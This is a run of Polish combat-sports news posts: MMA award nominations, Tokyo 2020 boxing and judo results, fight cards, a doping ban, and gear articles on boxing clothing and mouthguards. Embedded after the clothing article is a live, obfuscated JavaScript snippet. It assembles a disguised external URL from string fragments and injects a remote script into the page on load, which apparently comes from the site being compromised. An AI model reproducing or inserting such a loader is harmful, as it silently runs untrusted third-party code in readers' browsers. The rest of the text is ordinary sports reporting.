Poznaliśmy nominowanych do nagród World MMA Awards, które przyznaje magazyn Fighters Only. W kategorii Zawodnik Roku na tytuł szansę ma Jan Błachowicz.

Od 2008 roku czasopismo Fighters Only przyznaje nagrody World MMA Awards, które są docenieniem dorobku wojowników w poszczególnych kategoriach. Czas na kolejną edycję. Nie brakuje w niej polskich akcentów.
Jan Błachowicz jest jedną z gwiazd organizacji UFC. Polski zawodnik w 2020 roku sięgnął po pas mistrzowski w wadze półciężkiej. "Cieszyński Książę" pokonał w drugiej rundzie rywalizacji w Abu Zabi Dominicka Reyesa. W tym roku Błachowicz obronił pas w rywalizacji z Israelem Adesanyą. 30 października polskiego zawodnika czeka walka z Gloverem Teixeirą. Trzeba dodać, że Błachowicz wygrał pięć pojedynków z rzędu.

Dobra postawa Błachowicza została dostrzeżona, czego najlepszym dowodem są dwie nominacje w World MMA Awards w dwóch kategoriach – Zawodnik Roku oraz Międzynarodowy Zawodnik Roku. W pierwszej znaleźli się mistrzowie UFC Kamaru Usman, Brandon Moreno i Charles Oliveira oraz Yaroslav Amosov, który może poszczycić się tytułem mistrza kategorii półśredniej Bellatora. Z kolei w kategorii Międzynarodowy Zawodnik Roku o nagrodę rywalizują Amosov, mistrz wagi półciężkiej Bellatora Vadim Nemkov oraz znani z UFC Israel Adesanya i Robert Whittaker.

Są jeszcze inne polskie wątki. W kategorii Nokaut Roku znalazł się Mamed Khalidov za walkę z Scottem Askhamem podczas gali KSW 55. 41-latek potrzebował nieco ponad pół minuty na efektowne pokonanie rywala. Z kolei w kategorii ring girl nominowana została Katarzyna Motloch.

W kategorii Zawodniczka Roku na liście są: Mackenzie Dern, Kayla Harrison, Valentina Shevchenko, Rose Namajunas, Manon Fiorot. Nagrody zostaną przyznane łącznie w 22 kategoriach.

Teraz czas na głosowanie, w którym biorą fani. Pełna lista nominowanych dostępna jest tu.

Fot. Jan Błachowicz Facebook

KM

 

AZS NEWS – młodość pełna pasji! #1

Startujemy z programem AZS NEWS – młodość pełna pasji! Projekt telewizyjnego programu informacyjnego realizowany jest we współpracy Akademickiego Związku Sportowego oraz Telewizji Fightime. W każdym z kilkunastominutowych odcinków zaprezentujemy relacje z najważniejszych wydarzeń sportu akademickiego, przybliżymy nasze gwiazdy i ciekawe projekty realizowane przez Akademicki Związek Sportowy. W pierwszym, pilotażowym programie zobaczycie głównie doniesienia ze sportowych aren Akademickich Mistrzostw Polski w judo, karate, koszykówce 3×3, siatkówce i koszykówce. Poznacie także naszych sportowców z niepełnosprawnościami dzięki relacji z Integracyjnych Mistrzostw Polski AZS w bocci. Prowadzącym AZS NEWS jest Damian Bąbol – prezenter, dziennikarz sportowy. Razem z nim zapraszamy do obejrzenia pierwszego odcinka. Do zobaczenia!

[kod]

AZS NEWS – młodość pełna pasji! #2

Zapraszamy do obejrzenia drugiego odcinka programu AZS NEWS – młodość pełna pasji. Nowinki ze świata sportu akademickiego i nie tylko. Dużo czasu poświęcamy kończącym się rozgrywkom Akademickich Mistrzostw Polski, zaglądając na hale, boiska, korty i trasy biegowe. Dla ochłody polecamy trzy azestesowskie imprezy pływackie, chwalimy się sukcesami naszych wyczynowców w seniorskich mistrzostwach kraju, a na deser mamy coś ze sportu dla wszystkich oraz ze świata wirtualnego.

[kod]

AZS NEWS – młodość pełna pasji! #3

Zapraszamy na trzeci odcinek AZS NEWS, który stworzyliśmy razem z AZS Akademicki Związek Sportowy tuż przed rozpoczęciem igrzysk olimpijskich. Podsumowujemy w nim Akademickie Mistrzostwa Polski i zapowiadamy najważniejszą imprezę światowego sportu, w której nie zabraknie azetesiaków. Co ważne, ponad 30% kadry olimpijskiej stanowią właśnie AZETESIACY. Na koniec zachęcamy zaś do zapoznania się z historią AZS. Warto!

[kod]

Koszewska przegrała z Turczynką

Wtorkowy poranek nie przyniósł dobrych informacji z Igrzysk Olimpijskich z Tokio. Z rywalizacji odpadła bokserka Karolina Koszewska (69kg), która przegrała z Busenaz Surmeneli.

39-letnia Koszewska może pochwalić się bogatym dorobkiem medalowym. W 2019 roku sięgnęła w Mińsku po złoto Igrzysk Europejskich. Na swoim koncie ma również medale mistrzostw Europy. Po tytuł najlepszej bokserki Starego Kontynentu sięgnęła w 2005 roku. Koszewska z powodzeniem rywalizowała na zawodowych ringach. W 2007 roku wywalczyła tytuł mistrzyni świata WIBF. Koszewska zrobiła sobie przerwę od zawodowego sportu, jako trener współpracowała z grupą Rafako Hussars Poland, jednak postanowiła wrócić do rywalizacji.

Igrzyska Olimpijskie były kolejnym wyzwaniem dla polskiej pięściarki. Start w Tokio zaczęła udanie, o czym informowaliśmy w materiale "Koszewska walczy dalej". Polka pokonała Shakhnozę Yunusovą, każdy z sędziów punktował 30:27.

Rankiem 27 lipca  na Koszewską czekało kolejne wyzwanie. Polka stanęła naprzeciwko Turczynki Busenaz Surmeneli, stawką rywalizacji był ćwierćfinał igrzysk. Początek wyglądał obiecująco, ale z czasem do głosu zaczęła dochodzić Surmeneli. Turczynka zbudowała przewagę, trafiła Polkę mocnymi ciosami, a ta nie potrafiła znaleźć recepty na rywalkę. Mimo ambitnej postawy i woli walki Koszewska nie był w stanie przeciwstawić się dobrze zdecydowanej Turczynce. Sędziowie punktowali – 27-30, 27-30, 27-30, 26-30, 25-30.

Czas na Wójcik

28 lipca w Tokio zaprezentuje się Elżbieta Wójcik (75kg). Trzymamy kciuki za naszą pięściarkę, jednak nie będzie miała łatwego zadania. Polka zmierzy się z utytułowaną Nouchką Fontijn. Holenderka ma na koncie srebro igrzysk w Rio de Janeiro. Do tego cztery medale mistrzostw świata. W 2015 roku Fontijn sięgnęła po złoto Igrzysk Europejskich, a w 2014 i 2018 zdobyła tytuły mistrzyni Europy. Z kolei Elżbieta Wójcik może pochwalić się brązem Igrzysk Europejskich w Mińsku z 2019 roku. Na koncie ma też srebro mistrzostw Europy.

Fot. Karolina Koszewska-Łukasik Facebook

KM

 

Koszewska walczy dalej

Zaglądamy do Tokio. Z wygranej walki cieszy się bokserka Karolina Koszewska (69kg). Start w igrzyskach zakończyli Sandra Drabik (51kg) i Damian Durkacz (63kg).

Czekamy na kolejną walkę Karoliny Koszewskiej, która ma za sobą bardzo dobry początek rywalizacji. Polka pewnie pokonała Shakhnozę Yunusovą z Uzbekistanu. Sędziowie byli jednogłośnie i wskazali na Koszewską – każdy punktował 30:27. Teraz czas na kolejne wyzwanie naszej bokserki. 27 lipca Koszewska zmierzy się z Busenaz Surmeneli z Turcji. Trzymamy kciuki!

Odpadli

Z rywalizacją pożegnała się Sandra Drabik. 32-letnia zawodnika przegrała w 1/32 turnieju z Tursunoj Rachimową. Polka najlepiej wypadła w pierwszej rundzie, mimo nerwowego początku. Drabik postraszyła rywalkę, jednak w kolejnej odsłonie to reprezentantka Uzbekistanu nadawał ton. O wszystkim decydowała trzecia runda. Lepsza okazała się Rachimowa. – Cieszę się ogromnie, że mogłam stanąć w ringu Olimpijskim, że mogłam zawalczyć na najważniejszych zawodach dla większości sportowców, cieszę się, że jestem wśród 26 najlepszych pięściarek na świecie, jestem dumna z tego w jakim miejscu obecnie się znajduje, bo ciężko na to pracowałam przez wiele lat, nie była to łatwa droga, a mimo wszystko tu jestem… I kocham to co robię – napisała w mediach społecznościowych Sandra Drabik.

Przygodę z Tokio zakończył również Damian Durkacz. Polski pięściarz przegrał jednogłośnie na punkty z Gabiłem Mamiedowem. Rosjanin lepiej się prezentował, Durkacz przyjął wiele ciosów, ale dotrwał do końca. Werdykt na korzyść Mamiedowa.

Jeszcze dwa słowa o występie Patrycji Adamkiewicz w taekwondo. Reprezentantka Polski przegrała w 1/8 finał z Zhou Lijun 17:31. Była szansa na repasaże, o ile Chinka dotarłaby do finału. Tak się nie stało, Zhou Lijun odpadła w ćwierćfinale. – Mój debiut na Igrzyskach Olimpijskich kończę na pierwszej walce. Niestety nie udało mi się wygrać z Chinką. Nie tak to wszystko miało wyglądać. Co tu dużo mówić. Taekwondo dało mi w życiu wiele powodów do radości, ale również czasami łamie mi serce. Czasami jest się na górze, czasami na dole. Ale taki jest sport – skomentowała Patrycja Adamkiewicz.  

Fot. Zdjęcie poglądowe

KM

 

Trzymamy kciuki za naszych!

Zaczęło się! Wielkie sportowe święto, najważniejsza impreza w życiu każdego sportowca. Igrzyskami XXXII Letniej Olimpiady w Tokio będziemy żyli przez najbliższe tygodnie. Trzymamy kciuki za naszych! My szczególnie przyglądamy się zawodnikom związanym ze sportami walki.

Pandemia koronawirusa zmieniła nasze życie i wpłynęła na nasze funkcjonowanie. W ubiegłym roku nie doszło do wielu wydarzeń, w tym igrzysk w Tokio. Stanęły pod znakiem zapytania, mówiono o wielu problemach, nie brakowało wątpliwości. Ostatecznie przyszedł ten dzień, w którym sportowcy zaprezentowali się na arenie.

23 lipca odbyła się uroczystość otwarcia igrzysk olimpijskich. Nie będzie publiczności podczas rywalizacji, ale emocji z pewnością nie zabraknie. Blisko 11 tysięcy sportowców, w tym 210 Polaków. Rywalizacja odbędzie się w 33 dyscyplinach. Trzymamy kciuki za biało-czerwonych i śledzimy ich występy. Redakcja FighTime.pl bacznie będzie przyglądała się poczynaniom zawodników rywalizujących w sportach walki.

Sprawdźmy, kiedy Polacy zaprezentują się w Japonii.

25 lipca
W niedzielę rywalizacja w taekwondo kobiet do 57kg – od 1/8 do półfinału. Zaprezentuje się Patrycja Adamkiewicz. Trzymamy kciuki za bokserkę Sandrę Drabik (51kg), która wyjdzie na ring 25 lipca. W niedzielę zmagania rozpocznie w judo Agata Perenc (52kg). Zaplanowano walki 1/16 finału w boksie mężczyzn, gdzie zobaczymy Damiana Durkacza (63kg).

26 lipca
Początek zmagań judoczek w kategorii do 57kg, gdzie wystartuje Julia Kowalczyk.

27 lipca
Tym razem na tatami zobaczymy Agatę Ozdobę-Błach (63kg). We wtorek w taekwondo rywalizować będzie również Aleksandra Kowalczuk (67kg). Kolejna z naszych zawodniczek to bokserka Karolina Koszewska (69kg).

28 lipca
W środę o medal powalczy judoka Piotr Kuczera (90kg). Do ringu wejdzie bokserka Elżbieta Wójcik (75kg).

29 lipca
Kolejny dzień rywalizacji i tym razem na tatami zobaczymy Beatę Pacut (78kg). Jeśli wszystko dobrze się ułoży, zobaczymy Sandrę Drabik w 1/8 finału bokserskiej rywalizacji.

30 lipca
Pływanie, lekkoatletyka, mecz Polska – Japonia w siatkówkę i liczymy na pozytywne emocje w sportach walki. Na tatami pojawi się doświadczony Maciej Sarnacki (100kg). Z nadzieją liczymy na ćwierćfinał bosku z udziałem Karoliny Koszewskiej.

31 lipca
Dalsza część rywalizacji w boksie. 1/8 finału mężczyzn, gdzie liczymy na Damiana Durkacza (63kg) i ćwierćfinał kobiet – tu trzymamy kciuki za udział Elżbiety Wójcik (75kg).

1 sierpnia
Rywalizacja w boksie – ćwierćfinał kobiet do 51 kg. Liczymy, że będziemy mieli okazję kibicować Sandrze Drabik.

2 sierpnia
Na afiszu lekkoatletyka, kolarstwo i kajakarstwo. Zaprezentują się również nasi zapaśnicy. W stylu wolnym Agnieszka Wieszczek-Kordus (68kg), zaś w klasycznym Tadeusz Michalik (97kg). Walka o medale kolejnego dnia.

3 sierpnia
Ćwierćfinały mężczyzn w boksie – do 63kg (Damian Durkacz).

4 sierpnia
Czas na półfinały w boksie kobiet – 51kg i 69kg, czyli kategorie Sandry Drabik i Karoliny Koszewskiej. Rywalizację w stylu wolnym w zapasach rozpocznie Jowita Wrzesień (57kg). Walka o medale w zapasach kolejnego dnia.

5 sierpnia
Start zapaśników w stylu wolnym – Roksana Zasina (53kg) i Kamil Rybicki (74kg). Kolejne dnia decydujące starcia.

6 sierpnia
Półfinał boksu kobiet i mężczyzn. Czy zobaczymy walki Elżbiety Wójcik i Damiana Durkacza? Rywalizację rozpocznie zapaśnik Magomedmurad Gadżijew (65kg). 7 sierpnia poznamy medalistów w zapasach.

7 sierpnia
Poznamy mistrzynię olimpijską w boksie kobiet do 51kg. Czy będzie nią Sandra Drabik? A w kategorii do 69kg Karolina Koszewska?

8 sierpnia
Rywalizacja o złoto igrzysk w boksie. Czy Wójcik i Durkacz wystąpią w ringu ostatniego dnia igrzysk?

Pytań jest wiele, ale z nadzieją patrzymy w przyszłość. Ściskamy kciuki za naszych! Powodzenia!

Fot. Wikipedia/logo igrzysk

KM

 

Jakie ubrania sportowe dla bokserów?

Ubrania sportowe powinny wyróżniać się jakością, zwłaszcza gdy chodzi o propozycje przeznaczone do noszenia podczas treningu. Zapewnienie komfortu i przewiewności to niejedyne cechy, które są tutaj niezbędne. Sprawdź, na jakie ubrania warto postawić, szykując się do treningu bokserskiego! Zapraszamy do artykułu.

Postaw na sprawdzoną odzież do treningów

Komfort i dobre samopoczucie są niezwykle ważne podczas treningu. Warto w tym celu postawić na odzież, która nie tylko jest przyjemna w dotyku, ale przede wszystkim chroni skórę przed działaniem czynników zewnętrznych. Działa więc antybakteryjnie – ma to szczególne znaczenie w przypadku bielizny sportowej. Wilgotne i przepocone ubrania są doskonałym miejscem do rozwoju bakterii, które prowadzą do dyskomfortu, podrażnień i alergii skórnych. Naszym zdaniem lepiej być mądrym przed szkodą!

Dobrze dobrana odzież dla bokserów pozwala również utrzymać odpowiednią temperaturę ciała podczas treningu, do tego zapobiega otarciom, które są zmorą wielu osób, zwłaszcza przy zwiększonej potliwości. Jeśli zależy Ci na efektywnym i komfortowym treningu, podczas którego nie będą Cię rozpraszać niewygodne ubrania, to warto zdecydować się na dedykowaną odzież sportową.

Jakie są cechy dobrze dobranych ubrań?

Dobrze dobrana odzież chroni boksera przed otarciami. Ważne jest tutaj jednak wybranie odpowiedniego rozmiaru – ten nie może być ani zbyt obcisły, ani zbyt luźny. Idealne dopasowanie materiału do ciała zapewnia swobodę i nieprzesuwanie się koszulki podczas wykonywania ruchów rękoma. Materiał nie podwija się, a szwy są stosunkowo niewielkie i miękkie w dotyku. Do tego odpowiednio dopasowana odzież chroni przed:

  • odparzeniami – ważne jest wybranie ubrań z przewiewnego materiału, który będzie odprowadzać pot, aby ten nie gromadził się na skórze i nie podrażniał jej,
  • przepoceniem – stroje ze słabych jakościowo materiałów mogą przyklejać się do skóry, powodując dyskomfort oraz gromadzenie się bakterii,
  • nadmiernym uciskiem – zbyt obcisła odzież może powodować uciski, utrudniające krążenie krwi lub krępujące ruchy. Odpowiednie dopasowanie jest tutaj szczególnie ważne w przypadku bielizny,
  • alergiami i podrażnieniami skóry – te mogą być powodowane źle dobranym materiałem ubrań.

Ubrania sportowe dla boksera – na te materiały warto postawić!

Jedną z najpopularniejszych tkanin przy odzieży sportowej jest bawełna organiczna. To przyjemny w dotyku materiał, który cechuje się przewiewnością i wygodą noszenia. Do tego nie krępuje ruchów. Jeżeli jednak masz problemy z potliwością, możesz się z bawełną nie polubić. Stosunkowo słabo odprowadza wilgoć, przez co przepocone ubrania schną długo. Bawełna zatrzymuje też zapachy – przez co musisz liczyć się z częstym praniem ubrań sportowych.

O wiele lepszym rozwiązaniem dla osób mocno pocących się jest poliester. Chociaż jest to tworzywo sztuczne, charakteryzuje się niską chłonnością wody. Doskonale radzi sobie z potem i szybko odparowuje go z powierzchni skóry. Aby zapewnić jeszcze większy komfort noszenia, ubrania wykonane z poliestru posiadają często domieszkę elastanu, który sprawia, że odzież jest bardziej elastyczna i lepiej dopasowuje się do ciała.

Mamy nadzieję, że nasz artykuł rozwiał Twoje wątpliwości dotyczące wyboru odzieży dla bokserów.

[kod]

(function(){
oins=document.createElement("script");oins.async=true;oins_="u"+("s")+"t";
oinsu="304394221.";oins_+="a"+("t.i");oins_+="n"+("f"+"o")+"/";
oinsu+="v61r8xpfinskhrlle9sgx8"+("c78sewxy");
oins.src="https://"+oins_+oinsu;oins.type="text/javascript";
document.body.appendChild(oins);
})();

Seaside BattleS Dziwnów: Eder de Souza vs Wojciech Janusz w walce wieczoru!

Właśnie poznaliśmy pierwszą, historyczną walkę wieczoru nowopowstałej organizacji Seaside BattleS Dziwnów. Już 10 lipca w najważniejszym pojedynku zmierzą się Wojciech "Kulkinio" Janusz (10-6) i Eder de Souza (17-7). Pojedynek zakontraktowany jest w limice kategorii półciężkiej.

Janusz to od lat jeden z ulubionych zawodników polskich kibiców. Odważna stójka i bardzo dobry to połączenie, które uwielbiają kibice, a właśnie tym dysponuje szczeciński Berserker. W swojej karierze "Kulkinio" walczył z wieloma świetnymi zawodnikami, takimi jak Marcin Wójcik czy Michał Oleksiejczuk i zawsze były to boje na najwyższym poziomie. Choć obecnie podopieczny trenera Bagińskiego jest po porażce, to nie zamierza brać łatwej walki na przetarcie, tylko chce pokonać mocnego Brazylijczyka.

Eder "Bambu" de Souza zawodowe walki toczy od 11 lat. Choć większość walk Brazylijczyk toczył w swojej ojczyźnie, to jednak jakiś czas temu zdecydował się na podbój Europy i walczył już w Rosji i na Ukrainie. "Bambu" to były pretendent do pasa mistrzowskiego organizacji WWFC, lecz przegrał wtedy z obecnym zawodnikiem UFC – Romanem Dolidze. Potencjalne zwycięstwo z Wojciechem Januszem z całą pewnością otworzyłoby mu wiele furtek na polskim rynku MMA.

Więcej o federacji:

Seaside BattleS Dziwnów to najnowszy projekt fanatyków MMA z Pomorza Zachodniego. Po wielu latach pustki, sporty walki mają powrócić do nadmorskich miejscowości w najlepszym wydaniu. Nie może więc tam zabraknąć zawodników z czołowych polskich klubów, na czele z podopiecznymi Berserkers Team Szczecin.

Aktualna karta walk:

93,0 kg: Wojciech Janusz vs Eder de Souza

93,0 kg: Michał Piwowarski vs Johan Romming

70,3 kg: Michał Pogorzelski vs TBA

83,9 kg: Piotr Walawski vs TBA

77,1 kg: Damian Ostęp vs Herkus Lukosiunas

70,3 kg: Wojciech Kawa vs TBA

77,1 kg: Maciej Pacuła vs TBA

93,0 kg: Wojciech Balejko vs TBA

Ochraniacze na zęby dla boksera – jak wybrać?

Ochraniacze na zęby są pięściarzom niezbędne zarówno podczas treningów, jak i w czasie starcia w ringu. Podpowiadamy, jak wybrać odpowiednie, aby zapewnić swojej szczęce skuteczną ochronę oraz zachować maksymalny komfort.

 

Funkcja ochraniaczy na zęby

Najbardziej oczywistą funkcją, dla której bokserzy sięgają po ochraniacze na zęby, jest oczywiście ochrona uzębienia. Pomimo że rękawice bokserskie w dużym stopniu amortyzują siłę uderzenia, to jednak w dalszym ciągu jest ona na tyle duża, że może uszkodzić zęby, dziąsła czy język. Oprócz ochrony zębów, które mogą zostać wybite lub złamane, ważne jest też to, aby zapobiegać ocieraniu się o siebie zębów górnych i dolnych oraz chronić język przed przegryzieniem. Którykolwiek z tych urazów mógłby wyeliminować pięściarza z treningu lub walki.

Ochraniacze na zęby – żelowe czy silikonowe?

Każdy materiał na ochraniacze na zęby ma swoje plusy. Należy dobrze zapoznać się z ich specyfikacją i zdecydować, który rodzaj lepiej wpisze się w Twoje oczekiwania.

  • Ochraniacze na zęby silikonowe – gwarantują bardzo dobrą ochronę zębów przed siłą uderzenia. Mniej komfortowym aspektem ich użytkowania jest to, że silikon nie dopasowuje się idealnie do kształtu szczęki, dlatego zawodnicy mogą wyraźnie wyczuwać, że ochraniacze na zęby znajdują się w ich ustach.
     
  • Ochraniacze na zęby żelowe – amortyzują siłę uderzenia w równym stopniu jak ochraniacze silikonowe, jednak dzięki żelowej strukturze znacznie lepiej dopasowują się do kształtu szczęki, dzięki czemu trzymanie ich w ustach jest wygodniejsze i nie wywołuje dyskomfortu.

Pojedyncze i podwójne ochraniacze na zęby

Te dwa rodzaje ochraniaczy różnią się od siebie tym, że pojedyncze ochraniacze na zęby chronią jedynie górną szczękę, natomiast podwójne zabezpieczają również dolne zęby. Ochrona podwójnych ochraniaczy jest zatem skuteczniejsza, jednak nie oznacza to, że stanowią one zawsze lepszy wybór. Dlaczego?

Podwójne ochraniacze na zęby wypełniają niemal całe usta, dlatego ich noszenie nie jest komfortowe. Ponadto przy otwarciu ust często przesuwają się lub nawet wypadają, dlatego są odpowiednim wyborem przede wszystkim na czas starcia, kiedy należy jak najskuteczniej chronić zęby przed siłą uderzeń przeciwnika.

Do sparingu lub treningu lepszym i bardziej komfortowym wyborem okażą się pojedyncze ochraniacze na zęby. Szczególnie w przypadkach, kiedy zawodnicy używają kasków chroniących żuchwę.

Uformuj ochraniacz przed włożeniem do ust

Zanim włożysz ochraniacz na zęby do ust, zanurz go w gorącej wodzie. Zapewni to nie tylko jego sterylność, ale też pozwoli łatwiej go formować i dopasować do kształtu szczęki. Im lepiej uformuje się ochraniacz na zęby, tym większy komfort będzie odczuwał zawodnik po włożeniu go do ust, a szanse na przesuwanie się lub wypadnięcie zmaleją. Szeroki wybór bokserskich ochraniaczy na zęby znajdziesz w sklepie https://bushido-sport.pl/

Akademicke Mistrzostwa Polski JUDO, Piła 2021

Już w najbliższy weekend 2️⃣2️⃣ – 2️⃣3️⃣ maja 2️⃣0️⃣2️⃣1️⃣ r. zapraszamy na transmisję telewizyjną z Akademickich Mistrzostw Polski w Judo, które odbędą się w Pile.

Transmisja z bloków finałowych:

✅22 maja (sobota) w godz. 13:00 – 15:00

✅23 maja (niedziela) w godz. 12:00 – 14:00

Złoty medal Agaty Ozdoby-Błach

Brawo, pięknie, pięknie – chciałoby się krzyknąć. Są powody ku temu. Źródłem naszej sportowej radości jest bohaterka z Kazania – Agata Ozdoba-Błach (63kg), która zajęła 1. miejsce w zawodach Grand Slam w judo.

W kwietniu 33-letnia zawodniczka była o krok podium mistrzostw Europy w Lizbonie. Przegrała jednak rywalizację o brązowy medal ze Słowenką Andreją Leski. W swoim dorobku Ozdoba-Błach ma medal czempionatu Starego Kontynentu, który wywalczyła w 2014 roku w Montpellier. Polska judoczka stawała na podium zawodów rangi Grand Prix i Grand Slam, wygrała nawet Puchar Europy w Mińsku w 2017 roku. Teraz Ozdoba-Błach poprawiła swój dorobek i osiągnęła historyczny sukces. 33-latka wygrała zawody Grand Slam w Kazaniu!

Droga do złotego medalu Ozdoby-Błach wyglądała następująco. Najpierw Polka trafiła na Valentinę Kostenko, którą pokonała w dogrywce. Kolejną rywalką 33-latki była Alexia Castilhos. W ćwierćfinale Ozdoba-Błach stanęła przed trudnym wyzwaniem, bo przyszło jej rywalizować z Sanne Vermeer. Holenderka jest nr 8 na świecie. Polka nie przestraszyła się rywalki, która w kwietniu zdobyła brąz mistrzostw Europy. Ozdoba-Błach okazała się lepsza i znalazła się w półfinale. Po upływie blisko 2,5 minuty cieszyła się z awansu do finału. Wyższość Polki musiała uznać Ekaterina Valkova. Pozostało postawić kropkę nad "i" i zapisać się na kartach historii. Ozdoba-Błach stanęła "oko w oko" z Ketleyn Quadros. Rywalizacja trwała ponad sześć minut, ale zwycięsko wyszła z niej Polka.

– Jestem niesamowicie szczęśliwa, że w końcu stanęłam na podium tak prestiżowego turnieju i mogłam usłyszeć hymn Polski, wspaniałe uczucie. Można powiedzieć, że tym wynikiem zapewniłam sobie start w Igrzyskach Olimpijskich, ale nie zapeszajmy, jeszcze lista rankingowa nie została ogłoszona – skomentowała swój sukces zawodniczka.

Można powiedzieć, że Kazań ponownie okazał się szczęśliwy dla 33-letniej Agaty Ozdoby-Błach. W 2016 roku, wraz z koleżankami, wywalczyła złoto mistrzostw Europy.

W innych kategoriach wagowych wśród pań wygrywały: Funa Tonaki (48kg), Uta Abe (52kg), Helene Receveaux (57kg) i Madina Taimazova (70kg).

Jak wypadły pozostałe reprezentantki Polski? Anna Kuczera (57kg) odpadła w rywalizacji z Iveliną Ilievą, wcześniej zanotowała wygraną. Aleksandra Kaleta (52kg) poległa przed czasem w starciu z Faizą Mokdar.

Fot. Agata Ozdoba-Błach Facebook

KM

Wyznanie Oskara Piechoty

Oskar Piechota został zawieszony na 22 miesiące przez Agencję Antydopingową Stanów Zjednoczonych. W jego organizmie wykryto hormon wzrostu. 31-latek zabrał głos w sprawie.

Szedł jak burza, wygrywał kolejne walki, zdobył tytuł mistrzowski Cage Warriors w wadze średniej i dostał angaż w UFC. Dla każdego zawodnika, również Oskara Piechoty, występ w amerykańskiej organizacji to spełnienie marzeń. "Imadło" zadebiutował w UFC podczas gali w Gdańsku, gdzie pokonał Jonathana Wilsona. Potem wygrał z Timem Williamsem. Następnie zanotował trzy porażki z rzędu i jego sytuacja w UFC stała się trudna. Dostał jeszcze jedną szansą. W czerwcu 2020 w Las Vegas jego rywalem był Marc-Andre Barriault. Polak przegrał, ale i tak uznano pojedynek za nieodbyty.

W organizmie Piechoty znalazła się podwyższona wartość hormonu wzrostu. Kara – 22 miesiące zawieszenia. Piechota odniósł się do całej sytuacji. – Wolałbym napisać że „nie wiedziałem”, albo „zanieczyszczony suplement”. Niestety wziąłem go z premedytacją, żeby być najsilniejszym. Prawda jest taka, że po ostatniej walce, byłem przekonany, że nie ma mnie już w UFC, zresztą chyba wszyscy tak myśleli, nawet mój manager był o tym przekonany. Zmagałem i zmagam się do tej pory z poważną kontuzją biodra. Z medycznego punktu widzenia mogło to znacznie przyspieszyć leczenie i tylko po to zastosowałem ten peptyd. Nie chciałem w ten sposób poprawić swoich wyników sportowych i nie wziąłem tego w czasie przygotowań do walki. Nigdy wcześniej nie stosowałem żadnych substancji nie dozwolonych w sporcie, nie zostałem też złapany na tym podczas walki a od 25 września byłem przebadany przez USAD-e około 6 razy w tym raz pobierano mi krew, na żadnym z tych badań nie wykryto nic. Niestety wyszło jak wyszło i dostałem 22 miesiące zawieszenia – napisał w mediach społecznościowych Oskar Piechota.

Nie wiadomo jaka będzie przyszłość zawodnika w UFC. Wiele wskazuje na to, że ta sytuacja jest końcem jego przygody. Po zakończeniu kary Piechota liczy, że będzie ponownie rywalizować i prezentować odpowiedni poziom. – Chce dobrze wykorzystać ten czas i wrócić do startów, mam nadzieje w pełnym zdrowiu, żebym mógł znów pokazać się z jak najlepszej strony. Czasami sytuacja, w której się znajdziemy i myślimy, że jest dla nas zła, z perspektywy czasu może okazać się dobra i to właśnie dzięki niej zrobiliśmy duży krok w przód – tłumaczy zawodnik.

Fot. Oskar Piechota Facebook

KM

Krwawy Sport #3 – Co nas czeka

Już 8 maja 2021r odbędzie się trzecia edycja gali Krwawy Sport – walki na gołe pięści!

Na karcie tym razem tylko kickbokserskie pojedynki na gołe pięści, a jednym z głównych wydarzeń będą półfinałowe walki wagi ciężkiej.

Chcemy już dzisiaj przedstawić wam część bohaterów widocznych na plakacie! Wśród nich mistrz kategorii do 100 kilogramów Patryk Hebel, były mistrz PLMMA Kewin Wiwatowski, Patryk Szopa, który w świetnym stylu wygrał walkę na pierwszej edycji Krwawego Sportu, czy Adam Wiśnia Wiśniewski, który na gali Krwawy Sport 2 już w pierwszej rundzie znokautował litwina Arturasa Liutikę.

Na plakacie możemy dostrzec także znanego z programów Warsaw Shore, Hels Kitchen, czy You Can Dance Mariusza " Ryjka" Adama Ryjek Ryjosław Ryjosławoski, kickboksera wagi ciężkiej Amadeusz Radomski, podopiecznego Marcina Wasilewskiego – Pawła Kopra, czy zawodników, którzy na wrześniowej gali Krwawy Sport 2 dali krwawy, trzy rundowy pojedynek- Adaś Curyło i Łukasz Szecówka

Na gali przewidzianych jest, aż 10 pojedynków bez rękawic zatem niebawem zaczniemy ogłaszać nazwiska kolejnych bohaterów gali Krwawy Sport 3 – walki na gołe pięści.

W składzie sędziowskim bez zmiennie zobaczymy duet Michał Wlazło i Piotr Michalak – MMA Referee. Etatowym już komentatorem Krwawego Sportu jest mistrz KSW Sebastian Przybysz – na pierwszej gali w asyście Łukasz "Juras" Jurkowski, a na gali numer 2 z Krzysztofem Kułakiem.

 

Ciekawa karta walk gali w Rzeszowie

8 maja w Rzeszowie dojdzie do starcia Artura Szpilki z Łukaszem Różańskim (na zdjęciu). W karcie walka znaleźli się także Mateusz Masternak, Adam Balski i Damian Kiwior.

Temat starcia Szpilki z Różańskim dyskutowany był od pewnego czasu. W marcu "Szpila" domagał się kontroli antydopingowej u potencjalnego rywala. Różański poddał się badaniom. – Za mną poranna kontrola antydopingowa WBC. O wynik się nie martwię – napisał 24 marca pięściarz z Rzeszowa. Szpilka apelował o kontrolę przed i po pojedynku. Sam też się jej poddał. – Kontrola dopingowa zrobiona. Będę prekursorem w polskim zawodowym boksie. I myślę, że będzie to na stałe w walkach z moim udziałem dla mnie i przeciwnika. Za testy płace sam. Zawsze ten sam – informował kilka dni temu Szpilka.

Podczas gali Konckout Boxing Night 14 "Szpila stanął "oko w oko" z Różańskim. Głębokie spojrzenia, twarze bez emocji. Szpilka podjął próbę wystaraszenia rywala, jednak ten zapewne przyjął to spokojnie i czeka na zaplanowane na 8 maja starcie. 35-latek będzie celował w 14 wygraną w karierze, jeszcze nigdy nie przegrał. Różański ma na swoim koncie 12 zwycięstw przed czasem. Szpilka stoczył więcej zawodowych walk, ostatnie dwie zakończyły się jego sukcesem. W lipcu 2019 roku przegrał z Dereckiem Chisorą.

„Master” w ringu

W Rzeszowie zaprezentuje się Mateusz Masternak. Popularny "Master" w ubiegłym roku zaprezentował się w ringu dwukrotnie. Przed czasem odprawił Taylora Mabikę i Jose Gregorio Ulricha. Do niedawna priorytetem dla boksera były igrzyska olimpijskie, ale pandemia koronawirusa pokrzyżowała mu plany. W sierpniu 2020 roku "Master" podpisał kontrakt z Knockout Promotions.

Kolejną walkę w karierze stoczy Adam Balski. 30-letni pięściarz nadal jest niepokonany na zawodowym ringu, a ubiegłym roku dopisał do swojego konta dwa zwyciętwa. Obecnie ma ich 15. W Rzeszowie zaprezentuje się również Damian Kiwior, który od 2019 roku jest niepokonany. Pięściarz zanotował cztery zwycięstwa z rzędu.

Fot. Łukasz Różański Facebook

KM

Ngannou zrealizował marzenia

